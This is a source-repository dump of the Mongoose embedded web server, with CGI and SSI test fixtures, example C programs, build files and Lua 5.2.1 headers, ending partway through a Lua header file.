├── test ├── .leading.dot.txt ├── hello.txt ├── ssi8.shtml ├── ssi9.shtml ├── bad2.cgi ├── dir with spaces │ └── hello.cgi ├── hello.cgi ├── ssi3.shtml ├── ssi4.shtml ├── sh.cgi ├── ssi7.shtml ├── ssi1.shtml ├── ssi2.shtml ├── ssi5.shtml ├── ssi6.shtml ├── bad.cgi ├── passfile ├── x.php ├── timeout.cgi ├── all_build_flags.pl ├── env.cgi ├── page.lp ├── exploit.pl └── embed.c ├── examples ├── html │ ├── logo.png │ ├── favicon.ico │ ├── login.html │ ├── index.html │ ├── style.css │ └── main.js ├── lua_dll.c ├── Makefile ├── lua │ └── prime_numbers.lp ├── websocket.c ├── websocket_html_root │ └── index.html ├── hello.c ├── upload.c ├── post.c └── ssl_cert.pem ├── lua-5.2.1 ├── doc │ ├── logo.gif │ ├── osi-certified-72x60.png │ ├── manual.css │ ├── lua.css │ ├── lua.1 │ └── luac.1 ├── README ├── src │ ├── lua.hpp │ ├── lapi.h │ ├── lundump.h │ ├── lfunc.h │ ├── ldebug.h │ ├── lualib.h │ ├── ltm.h │ ├── ltable.h │ ├── lstring.h │ ├── lvm.h │ ├── ldo.h │ ├── lzio.h │ ├── lmem.h │ ├── lzio.c │ ├── linit.c │ ├── ltm.c │ ├── lctype.h │ ├── llex.h │ ├── lctype.c │ ├── lmem.c │ ├── lcode.h │ ├── lopcodes.c │ ├── lparser.h │ ├── ldump.c │ ├── lcorolib.c │ ├── lfunc.c │ ├── lbitlib.c │ ├── lstring.c │ ├── lgc.h │ ├── lundump.c │ ├── Makefile │ ├── lmathlib.c │ ├── lauxlib.h │ ├── lstate.h │ ├── llimits.h │ ├── ltablib.c │ ├── lstate.c │ └── lobject.c └── Makefile ├── LICENSE ├── README.md └── Makefile /test/.leading.dot.txt: -------------------------------------------------------------------------------- 1 | abc123 2 | -------------------------------------------------------------------------------- /test/hello.txt: -------------------------------------------------------------------------------- 1 | simple text file 2 | -------------------------------------------------------------------------------- /test/ssi8.shtml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /test/ssi9.shtml: -------------------------------------------------------------------------------- 1 | ssi_begin 2 | 3 | ssi_end 4 | -------------------------------------------------------------------------------- /examples/html/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mimoralea/mongoose/master/examples/html/logo.png -------------------------------------------------------------------------------- /lua-5.2.1/doc/logo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mimoralea/mongoose/master/lua-5.2.1/doc/logo.gif -------------------------------------------------------------------------------- /examples/html/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mimoralea/mongoose/master/examples/html/favicon.ico -------------------------------------------------------------------------------- /test/bad2.cgi: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | print "Status: 123 Please pass me to the client\r\n\r\n"; 4 | -------------------------------------------------------------------------------- /test/dir with spaces/hello.cgi: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | print "Content-Type: text/plain\n\nhello\n"; 4 | -------------------------------------------------------------------------------- /test/hello.cgi: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "Content-Type: text/plain" 4 | echo 5 | 6 | echo $QUERY_STRING 7 | -------------------------------------------------------------------------------- /test/ssi3.shtml: -------------------------------------------------------------------------------- 1 |
2 | ssi_begin
3 | 
4 | ssi_end
5 | 
6 | -------------------------------------------------------------------------------- /test/ssi4.shtml: -------------------------------------------------------------------------------- 1 |
2 | ssi_begin
3 | 
4 | ssi_end
5 | 
6 | -------------------------------------------------------------------------------- /test/sh.cgi: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "Content-Type: text/plain" 4 | echo 5 | 6 | echo "This is shell script CGI." 7 | -------------------------------------------------------------------------------- /test/ssi7.shtml: -------------------------------------------------------------------------------- 1 | 2 |
3 | ssi_begin
4 | 
5 | ssi_end
6 | 
7 | -------------------------------------------------------------------------------- /test/ssi1.shtml: -------------------------------------------------------------------------------- 1 |
2 | ssi_begin
3 | 
4 | ssi_end
5 | 
6 | -------------------------------------------------------------------------------- /test/ssi2.shtml: -------------------------------------------------------------------------------- 1 |
2 | ssi_begin
3 | 
4 | ssi_end
5 | 
6 | -------------------------------------------------------------------------------- /test/ssi5.shtml: -------------------------------------------------------------------------------- 1 |
2 | ssi_begin
3 | 
4 | ssi_end
5 | 
6 | -------------------------------------------------------------------------------- /test/ssi6.shtml: -------------------------------------------------------------------------------- 1 |
2 | ssi_begin
3 | 
4 | ssi_end
5 | 
6 | -------------------------------------------------------------------------------- /test/bad.cgi: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "echoing bad headers: server must report status 500" 4 | exec 1>&2 5 | echo shit!!! 6 | -------------------------------------------------------------------------------- /lua-5.2.1/doc/osi-certified-72x60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mimoralea/mongoose/master/lua-5.2.1/doc/osi-certified-72x60.png -------------------------------------------------------------------------------- /test/passfile: -------------------------------------------------------------------------------- 1 | guest:mydomain.com:485264dcc977a1925370b89d516a1477 2 | Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983 3 | 4 | -------------------------------------------------------------------------------- /lua-5.2.1/README: -------------------------------------------------------------------------------- 1 | 2 | This is Lua 5.2.1, released on 08 Jun 2012. 3 | 4 | For installation instructions, license details, and 5 | further information about Lua, see doc/readme.html. 6 | 7 | -------------------------------------------------------------------------------- /test/x.php: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lua.hpp: -------------------------------------------------------------------------------- 1 | // lua.hpp 2 | // Lua header files for C++ 3 | // <> not supplied automatically because Lua also compiles as C++ 4 | 5 | extern "C" { 6 | #include "lua.h" 7 | #include "lualib.h" 8 | #include "lauxlib.h" 9 | } 10 | -------------------------------------------------------------------------------- /test/timeout.cgi: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | # Make stdout unbuffered 4 | use FileHandle; 5 | STDOUT->autoflush(1); 6 | 7 | # This script outputs some content, then sleeps for 5 seconds, then exits. 8 | # Web server should return the content immediately after it is sent, 9 | # not waiting until the script exits. 10 | print "Content-Type: text/html\r\n\r\n"; 11 | print "Some data"; 12 | sleep 3; 13 | -------------------------------------------------------------------------------- /examples/lua_dll.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "lua.h" 4 | #include "lauxlib.h" 5 | 6 | static int smile(lua_State *L) { 7 | (void) L; // Unused 8 | printf("%s\n", ":-)"); 9 | return 0; 10 | } 11 | 12 | int LUA_API luaopen_lua_dll(lua_State *L) { 13 | static const struct luaL_Reg api[] = { 14 | {"smile", smile}, 15 | {NULL, NULL}, 16 | }; 17 | luaL_openlib(L, "lua_dll", api, 0); 18 | return 1; 19 | } 20 | -------------------------------------------------------------------------------- /lua-5.2.1/doc/manual.css: -------------------------------------------------------------------------------- 1 | h3 code { 2 | font-family: inherit ; 3 | font-size: inherit ; 4 | } 5 | 6 | pre, code { 7 | font-size: 12pt ; 8 | } 9 | 10 | span.apii { 11 | float: right ; 12 | font-family: inherit ; 13 | font-style: normal ; 14 | font-size: small ; 15 | color: gray ; 16 | } 17 | 18 | p+h1, ul+h1 { 19 | padding-top: 0.4em ; 20 | padding-bottom: 0.4em ; 21 | padding-left: 30px ; 22 | margin-left: -30px ; 23 | background-color: #E0E0FF ; 24 | } 25 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lapi.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lapi.h,v 2.7 2009/11/27 15:37:59 roberto Exp $ 3 | ** Auxiliary functions from Lua API 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lapi_h 8 | #define lapi_h 9 | 10 | 11 | #include "llimits.h" 12 | #include "lstate.h" 13 | 14 | #define api_incr_top(L) {L->top++; api_check(L, L->top <= L->ci->top, \ 15 | "stack overflow");} 16 | 17 | #define adjustresults(L,nres) \ 18 | { if ((nres) == LUA_MULTRET && L->ci->top < L->top) L->ci->top = L->top; } 19 | 20 | #define api_checknelems(L,n) api_check(L, (n) < (L->top - L->ci->func), \ 21 | "not enough elements in the stack") 22 | 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lundump.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lundump.h,v 1.39 2012/05/08 13:53:33 roberto Exp $ 3 | ** load precompiled Lua chunks 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lundump_h 8 | #define lundump_h 9 | 10 | #include "lobject.h" 11 | #include "lzio.h" 12 | 13 | /* load one chunk; from lundump.c */ 14 | LUAI_FUNC Closure* luaU_undump (lua_State* L, ZIO* Z, Mbuffer* buff, const char* name); 15 | 16 | /* make header; from lundump.c */ 17 | LUAI_FUNC void luaU_header (lu_byte* h); 18 | 19 | /* dump one chunk; from ldump.c */ 20 | LUAI_FUNC int luaU_dump (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip); 21 | 22 | /* data to catch conversion errors */ 23 | #define LUAC_TAIL "\x19\x93\r\n\x1a\n" 24 | 25 | /* size in bytes of header of binary files */ 26 | #define LUAC_HEADERSIZE (sizeof(LUA_SIGNATURE)-sizeof(char)+2+6+sizeof(LUAC_TAIL)-sizeof(char)) 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /test/all_build_flags.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | @flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI"); 4 | my $num_flags = @flags; 5 | 6 | sub fail { 7 | print "FAILED: @_\n"; 8 | exit 1; 9 | } 10 | 11 | my $platform = $ARGV[0] || "linux"; 12 | 13 | for (my $i = 0; $i < 2 ** $num_flags; $i++) { 14 | my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i); 15 | my @combination = (); 16 | for (my $j = 0; $j < $num_flags; $j++) { 17 | push @combination, $flags[$j] if substr($bitmask, $j, 1); 18 | } 19 | my $defines = join(" ", map { "-D$_" } @combination); 20 | my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null"; 21 | system($cmd) == 0 or fail "build failed: $_"; 22 | print "Build succeeded, flags: [$defines]\n"; 23 | system("perl test/test.pl basic_tests >/dev/null") == 0 24 | or fail "basic tests"; 25 | print "Basic tests: OK\n"; 26 | } 27 | 28 | print "PASS: All builds passed!\n"; 29 | -------------------------------------------------------------------------------- /test/env.cgi: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | use Cwd; 4 | use CGI; 5 | 6 | use vars '%in'; 7 | CGI::ReadParse(); 8 | 9 | print "Content-Type: text/html\r\n\r\n"; 10 | 11 | print "
\n";
12 | foreach my $key (sort keys %ENV) {
13 | 	print "$key=$ENV{$key}\n";
14 | }
15 | 
16 | print "\n";
17 | 
18 | foreach my $key (sort keys %in) {
19 | 	print "$key=$in{$key}\n";
20 | }
21 | 
22 | print "\n";
23 | 
24 | print 'CURRENT_DIR=' . getcwd() . "\n";
25 | print "
\n"; 26 | 27 | my $stuff = < 29 | function set_val() { 30 | } 31 | 32 |
33 | 34 | 35 | 36 |
37 | 38 |
39 | 40 | 41 |
42 | EOP 43 | 44 | #system('some shit'); 45 | 46 | print $stuff; 47 | -------------------------------------------------------------------------------- /examples/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS= -W -Wall -I.. -pthread -g 2 | 3 | all: 4 | OS=`uname`; \ 5 | test "$$OS" = Linux && LIBS="-ldl" ; \ 6 | $(CC) $(CFLAGS) hello.c ../mongoose.c $$LIBS $(ADD) -o hello; 7 | $(CC) $(CFLAGS) upload.c ../mongoose.c $$LIBS $(ADD) -o upload; 8 | $(CC) $(CFLAGS) post.c ../mongoose.c $$LIBS $(ADD) -o post; 9 | $(CC) $(CFLAGS) -DUSE_WEBSOCKET websocket.c ../mongoose.c $$LIBS $(ADD) -o websocket; 10 | $(CC) $(CFLAGS) chat.c ../mongoose.c $$LIBS $(ADD) -o chat 11 | 12 | 13 | MSVC = e:/vc6 14 | CL = $(MSVC)/bin/cl 15 | CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \ 16 | /I$(MSVC)/include /I.. /Dsnprintf=_snprintf \ 17 | /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86 18 | 19 | windows: 20 | $(CL) upload.c ../mongoose.c $(CLFLAGS) 21 | $(CL) hello.c ../mongoose.c $(CLFLAGS) 22 | $(CL) upload.c ../mongoose.c $(CLFLAGS) 23 | $(CL) post.c ../mongoose.c $(CLFLAGS) 24 | $(CL) post.c ../mongoose.c $(CLFLAGS) 25 | $(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS) 26 | 27 | clean: 28 | rm -rf hello upload post websocket chat *.exe *.dSYM *.obj 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2004-2013 Sergey Lyubka 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lfunc.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lfunc.h,v 2.8 2012/05/08 13:53:33 roberto Exp $ 3 | ** Auxiliary functions to manipulate prototypes and closures 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lfunc_h 8 | #define lfunc_h 9 | 10 | 11 | #include "lobject.h" 12 | 13 | 14 | #define sizeCclosure(n) (cast(int, sizeof(CClosure)) + \ 15 | cast(int, sizeof(TValue)*((n)-1))) 16 | 17 | #define sizeLclosure(n) (cast(int, sizeof(LClosure)) + \ 18 | cast(int, sizeof(TValue *)*((n)-1))) 19 | 20 | 21 | LUAI_FUNC Proto *luaF_newproto (lua_State *L); 22 | LUAI_FUNC Closure *luaF_newCclosure (lua_State *L, int nelems); 23 | LUAI_FUNC Closure *luaF_newLclosure (lua_State *L, int nelems); 24 | LUAI_FUNC UpVal *luaF_newupval (lua_State *L); 25 | LUAI_FUNC UpVal *luaF_findupval (lua_State *L, StkId level); 26 | LUAI_FUNC void luaF_close (lua_State *L, StkId level); 27 | LUAI_FUNC void luaF_freeproto (lua_State *L, Proto *f); 28 | LUAI_FUNC void luaF_freeupval (lua_State *L, UpVal *uv); 29 | LUAI_FUNC const char *luaF_getlocalname (const Proto *func, int local_number, 30 | int pc); 31 | 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ldebug.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ldebug.h,v 2.7 2011/10/07 20:45:19 roberto Exp $ 3 | ** Auxiliary functions from Debug Interface module 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef ldebug_h 8 | #define ldebug_h 9 | 10 | 11 | #include "lstate.h" 12 | 13 | 14 | #define pcRel(pc, p) (cast(int, (pc) - (p)->code) - 1) 15 | 16 | #define getfuncline(f,pc) (((f)->lineinfo) ? (f)->lineinfo[pc] : 0) 17 | 18 | #define resethookcount(L) (L->hookcount = L->basehookcount) 19 | 20 | /* Active Lua function (given call info) */ 21 | #define ci_func(ci) (clLvalue((ci)->func)) 22 | 23 | 24 | LUAI_FUNC l_noret luaG_typeerror (lua_State *L, const TValue *o, 25 | const char *opname); 26 | LUAI_FUNC l_noret luaG_concaterror (lua_State *L, StkId p1, StkId p2); 27 | LUAI_FUNC l_noret luaG_aritherror (lua_State *L, const TValue *p1, 28 | const TValue *p2); 29 | LUAI_FUNC l_noret luaG_ordererror (lua_State *L, const TValue *p1, 30 | const TValue *p2); 31 | LUAI_FUNC l_noret luaG_runerror (lua_State *L, const char *fmt, ...); 32 | LUAI_FUNC l_noret luaG_errormsg (lua_State *L); 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lualib.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lualib.h,v 1.43 2011/12/08 12:11:37 roberto Exp $ 3 | ** Lua standard libraries 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #ifndef lualib_h 9 | #define lualib_h 10 | 11 | #include "lua.h" 12 | 13 | 14 | 15 | LUAMOD_API int (luaopen_base) (lua_State *L); 16 | 17 | #define LUA_COLIBNAME "coroutine" 18 | LUAMOD_API int (luaopen_coroutine) (lua_State *L); 19 | 20 | #define LUA_TABLIBNAME "table" 21 | LUAMOD_API int (luaopen_table) (lua_State *L); 22 | 23 | #define LUA_IOLIBNAME "io" 24 | LUAMOD_API int (luaopen_io) (lua_State *L); 25 | 26 | #define LUA_OSLIBNAME "os" 27 | LUAMOD_API int (luaopen_os) (lua_State *L); 28 | 29 | #define LUA_STRLIBNAME "string" 30 | LUAMOD_API int (luaopen_string) (lua_State *L); 31 | 32 | #define LUA_BITLIBNAME "bit32" 33 | LUAMOD_API int (luaopen_bit32) (lua_State *L); 34 | 35 | #define LUA_MATHLIBNAME "math" 36 | LUAMOD_API int (luaopen_math) (lua_State *L); 37 | 38 | #define LUA_DBLIBNAME "debug" 39 | LUAMOD_API int (luaopen_debug) (lua_State *L); 40 | 41 | #define LUA_LOADLIBNAME "package" 42 | LUAMOD_API int (luaopen_package) (lua_State *L); 43 | 44 | 45 | /* open all previous libraries */ 46 | LUALIB_API void (luaL_openlibs) (lua_State *L); 47 | 48 | 49 | 50 | #if !defined(lua_assert) 51 | #define lua_assert(x) ((void)0) 52 | #endif 53 | 54 | 55 | #endif 56 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ltm.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ltm.h,v 2.11 2011/02/28 17:32:10 roberto Exp $ 3 | ** Tag methods 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef ltm_h 8 | #define ltm_h 9 | 10 | 11 | #include "lobject.h" 12 | 13 | 14 | /* 15 | * WARNING: if you change the order of this enumeration, 16 | * grep "ORDER TM" 17 | */ 18 | typedef enum { 19 | TM_INDEX, 20 | TM_NEWINDEX, 21 | TM_GC, 22 | TM_MODE, 23 | TM_LEN, 24 | TM_EQ, /* last tag method with `fast' access */ 25 | TM_ADD, 26 | TM_SUB, 27 | TM_MUL, 28 | TM_DIV, 29 | TM_MOD, 30 | TM_POW, 31 | TM_UNM, 32 | TM_LT, 33 | TM_LE, 34 | TM_CONCAT, 35 | TM_CALL, 36 | TM_N /* number of elements in the enum */ 37 | } TMS; 38 | 39 | 40 | 41 | #define gfasttm(g,et,e) ((et) == NULL ? NULL : \ 42 | ((et)->flags & (1u<<(e))) ? NULL : luaT_gettm(et, e, (g)->tmname[e])) 43 | 44 | #define fasttm(l,et,e) gfasttm(G(l), et, e) 45 | 46 | #define ttypename(x) luaT_typenames_[(x) + 1] 47 | #define objtypename(x) ttypename(ttypenv(x)) 48 | 49 | LUAI_DDEC const char *const luaT_typenames_[LUA_TOTALTAGS]; 50 | 51 | 52 | LUAI_FUNC const TValue *luaT_gettm (Table *events, TMS event, TString *ename); 53 | LUAI_FUNC const TValue *luaT_gettmbyobj (lua_State *L, const TValue *o, 54 | TMS event); 55 | LUAI_FUNC void luaT_init (lua_State *L); 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ltable.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ltable.h,v 2.16 2011/08/17 20:26:47 roberto Exp $ 3 | ** Lua tables (hash) 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef ltable_h 8 | #define ltable_h 9 | 10 | #include "lobject.h" 11 | 12 | 13 | #define gnode(t,i) (&(t)->node[i]) 14 | #define gkey(n) (&(n)->i_key.tvk) 15 | #define gval(n) (&(n)->i_val) 16 | #define gnext(n) ((n)->i_key.nk.next) 17 | 18 | #define invalidateTMcache(t) ((t)->flags = 0) 19 | 20 | 21 | LUAI_FUNC const TValue *luaH_getint (Table *t, int key); 22 | LUAI_FUNC void luaH_setint (lua_State *L, Table *t, int key, TValue *value); 23 | LUAI_FUNC const TValue *luaH_getstr (Table *t, TString *key); 24 | LUAI_FUNC const TValue *luaH_get (Table *t, const TValue *key); 25 | LUAI_FUNC TValue *luaH_newkey (lua_State *L, Table *t, const TValue *key); 26 | LUAI_FUNC TValue *luaH_set (lua_State *L, Table *t, const TValue *key); 27 | LUAI_FUNC Table *luaH_new (lua_State *L); 28 | LUAI_FUNC void luaH_resize (lua_State *L, Table *t, int nasize, int nhsize); 29 | LUAI_FUNC void luaH_resizearray (lua_State *L, Table *t, int nasize); 30 | LUAI_FUNC void luaH_free (lua_State *L, Table *t); 31 | LUAI_FUNC int luaH_next (lua_State *L, Table *t, StkId key); 32 | LUAI_FUNC int luaH_getn (Table *t); 33 | 34 | 35 | #if defined(LUA_DEBUG) 36 | LUAI_FUNC Node *luaH_mainposition (const Table *t, const TValue *key); 37 | LUAI_FUNC int luaH_isdummy (Node *n); 38 | #endif 39 | 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /examples/lua/prime_numbers.lp: -------------------------------------------------------------------------------- 1 | HTTP/1.0 200 OK 2 | Content-Type: text/html 3 | 4 | 5 |

Prime numbers from 0 to 100, calculated by Lua:

6 | ' .. i .. ' ') end 19 | end 20 | 21 | ?> 22 | 23 |

Reading POST data from Lua (click submit):

24 |
25 | 26 |
27 |    POST data: []
34 |    request method: []
35 |    IP/port: []
37 |    URI: []
38 |    HTTP version []
39 |    HEADERS:
40 |    
45 | 
46 | 47 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lstring.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lstring.h,v 1.49 2012/02/01 21:57:15 roberto Exp $ 3 | ** String table (keep all strings handled by Lua) 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lstring_h 8 | #define lstring_h 9 | 10 | #include "lgc.h" 11 | #include "lobject.h" 12 | #include "lstate.h" 13 | 14 | 15 | #define sizestring(s) (sizeof(union TString)+((s)->len+1)*sizeof(char)) 16 | 17 | #define sizeudata(u) (sizeof(union Udata)+(u)->len) 18 | 19 | #define luaS_newliteral(L, s) (luaS_newlstr(L, "" s, \ 20 | (sizeof(s)/sizeof(char))-1)) 21 | 22 | #define luaS_fix(s) l_setbit((s)->tsv.marked, FIXEDBIT) 23 | 24 | 25 | /* 26 | ** test whether a string is a reserved word 27 | */ 28 | #define isreserved(s) ((s)->tsv.tt == LUA_TSHRSTR && (s)->tsv.extra > 0) 29 | 30 | 31 | /* 32 | ** equality for short strings, which are always internalized 33 | */ 34 | #define eqshrstr(a,b) check_exp((a)->tsv.tt == LUA_TSHRSTR, (a) == (b)) 35 | 36 | 37 | LUAI_FUNC unsigned int luaS_hash (const char *str, size_t l, unsigned int seed); 38 | LUAI_FUNC int luaS_eqlngstr (TString *a, TString *b); 39 | LUAI_FUNC int luaS_eqstr (TString *a, TString *b); 40 | LUAI_FUNC void luaS_resize (lua_State *L, int newsize); 41 | LUAI_FUNC Udata *luaS_newudata (lua_State *L, size_t s, Table *e); 42 | LUAI_FUNC TString *luaS_newlstr (lua_State *L, const char *str, size_t l); 43 | LUAI_FUNC TString *luaS_new (lua_State *L, const char *str); 44 | 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /examples/websocket.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2004-2012 Sergey Lyubka 2 | // This file is a part of mongoose project, http://github.com/valenok/mongoose 3 | 4 | #include 5 | #include 6 | #include "mongoose.h" 7 | 8 | static void websocket_ready_handler(struct mg_connection *conn) { 9 | static const char *message = "server ready"; 10 | mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, message, strlen(message)); 11 | } 12 | 13 | // Arguments: 14 | // flags: first byte of websocket frame, see websocket RFC, 15 | // http://tools.ietf.org/html/rfc6455, section 5.2 16 | // data, data_len: payload data. Mask, if any, is already applied. 17 | static int websocket_data_handler(struct mg_connection *conn, int flags, 18 | char *data, size_t data_len) { 19 | (void) flags; // Unused 20 | mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, data, data_len); 21 | 22 | // Returning zero means stoping websocket conversation. 23 | // Close the conversation if client has sent us "exit" string. 24 | return memcmp(data, "exit", 4); 25 | } 26 | 27 | int main(void) { 28 | struct mg_context *ctx; 29 | struct mg_callbacks callbacks; 30 | const char *options[] = { 31 | "listening_ports", "8080", 32 | "document_root", "websocket_html_root", 33 | NULL 34 | }; 35 | 36 | memset(&callbacks, 0, sizeof(callbacks)); 37 | callbacks.websocket_ready = websocket_ready_handler; 38 | callbacks.websocket_data = websocket_data_handler; 39 | ctx = mg_start(&callbacks, NULL, options); 40 | getchar(); // Wait until user hits "enter" 41 | mg_stop(ctx); 42 | 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /examples/websocket_html_root/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | WebSocket Test 4 | 33 | 34 |

Mongoose WebSocket Test

35 | 36 |
37 | This page code creates websocket to the URI "/foo", 38 | sends a message to it, waits for the reply, then sends an "exit" message. 39 | Server must echo all messages back, and terminate the conversation after 40 | receiving the "exit" message. 41 |
42 | 43 |
44 | 45 | -------------------------------------------------------------------------------- /lua-5.2.1/doc/lua.css: -------------------------------------------------------------------------------- 1 | body { 2 | color: #000000 ; 3 | background-color: #FFFFFF ; 4 | font-family: Helvetica, Arial, sans-serif ; 5 | text-align: justify ; 6 | margin-right: 30px ; 7 | margin-left: 30px ; 8 | } 9 | 10 | h1, h2, h3, h4 { 11 | font-family: Verdana, Geneva, sans-serif ; 12 | font-weight: normal ; 13 | font-style: italic ; 14 | } 15 | 16 | h2 { 17 | padding-top: 0.4em ; 18 | padding-bottom: 0.4em ; 19 | padding-left: 30px ; 20 | padding-right: 30px ; 21 | margin-left: -30px ; 22 | background-color: #E0E0FF ; 23 | } 24 | 25 | h3 { 26 | padding-left: 0.5em ; 27 | border-left: solid #E0E0FF 1em ; 28 | } 29 | 30 | table h3 { 31 | padding-left: 0px ; 32 | border-left: none ; 33 | } 34 | 35 | a:link { 36 | color: #000080 ; 37 | background-color: inherit ; 38 | text-decoration: none ; 39 | } 40 | 41 | a:visited { 42 | background-color: inherit ; 43 | text-decoration: none ; 44 | } 45 | 46 | a:link:hover, a:visited:hover { 47 | color: #000080 ; 48 | background-color: #E0E0FF ; 49 | } 50 | 51 | a:link:active, a:visited:active { 52 | color: #FF0000 ; 53 | } 54 | 55 | hr { 56 | border: 0 ; 57 | height: 1px ; 58 | color: #a0a0a0 ; 59 | background-color: #a0a0a0 ; 60 | } 61 | 62 | :target { 63 | background-color: #F8F8F8 ; 64 | padding: 8px ; 65 | border: solid #a0a0a0 2px ; 66 | } 67 | 68 | .footer { 69 | color: gray ; 70 | font-size: small ; 71 | } 72 | 73 | input[type=text] { 74 | border: solid #a0a0a0 2px ; 75 | border-radius: 2em ; 76 | -moz-border-radius: 2em ; 77 | background-image: url('images/search.png') ; 78 | background-repeat: no-repeat; 79 | background-position: 4px center ; 80 | padding-left: 20px ; 81 | height: 2em ; 82 | } 83 | 84 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lvm.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lvm.h,v 2.17 2011/05/31 18:27:56 roberto Exp $ 3 | ** Lua virtual machine 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lvm_h 8 | #define lvm_h 9 | 10 | 11 | #include "ldo.h" 12 | #include "lobject.h" 13 | #include "ltm.h" 14 | 15 | 16 | #define tostring(L,o) (ttisstring(o) || (luaV_tostring(L, o))) 17 | 18 | #define tonumber(o,n) (ttisnumber(o) || (((o) = luaV_tonumber(o,n)) != NULL)) 19 | 20 | #define equalobj(L,o1,o2) (ttisequal(o1, o2) && luaV_equalobj_(L, o1, o2)) 21 | 22 | #define luaV_rawequalobj(t1,t2) \ 23 | (ttisequal(t1,t2) && luaV_equalobj_(NULL,t1,t2)) 24 | 25 | 26 | /* not to called directly */ 27 | LUAI_FUNC int luaV_equalobj_ (lua_State *L, const TValue *t1, const TValue *t2); 28 | 29 | 30 | LUAI_FUNC int luaV_lessthan (lua_State *L, const TValue *l, const TValue *r); 31 | LUAI_FUNC int luaV_lessequal (lua_State *L, const TValue *l, const TValue *r); 32 | LUAI_FUNC const TValue *luaV_tonumber (const TValue *obj, TValue *n); 33 | LUAI_FUNC int luaV_tostring (lua_State *L, StkId obj); 34 | LUAI_FUNC void luaV_gettable (lua_State *L, const TValue *t, TValue *key, 35 | StkId val); 36 | LUAI_FUNC void luaV_settable (lua_State *L, const TValue *t, TValue *key, 37 | StkId val); 38 | LUAI_FUNC void 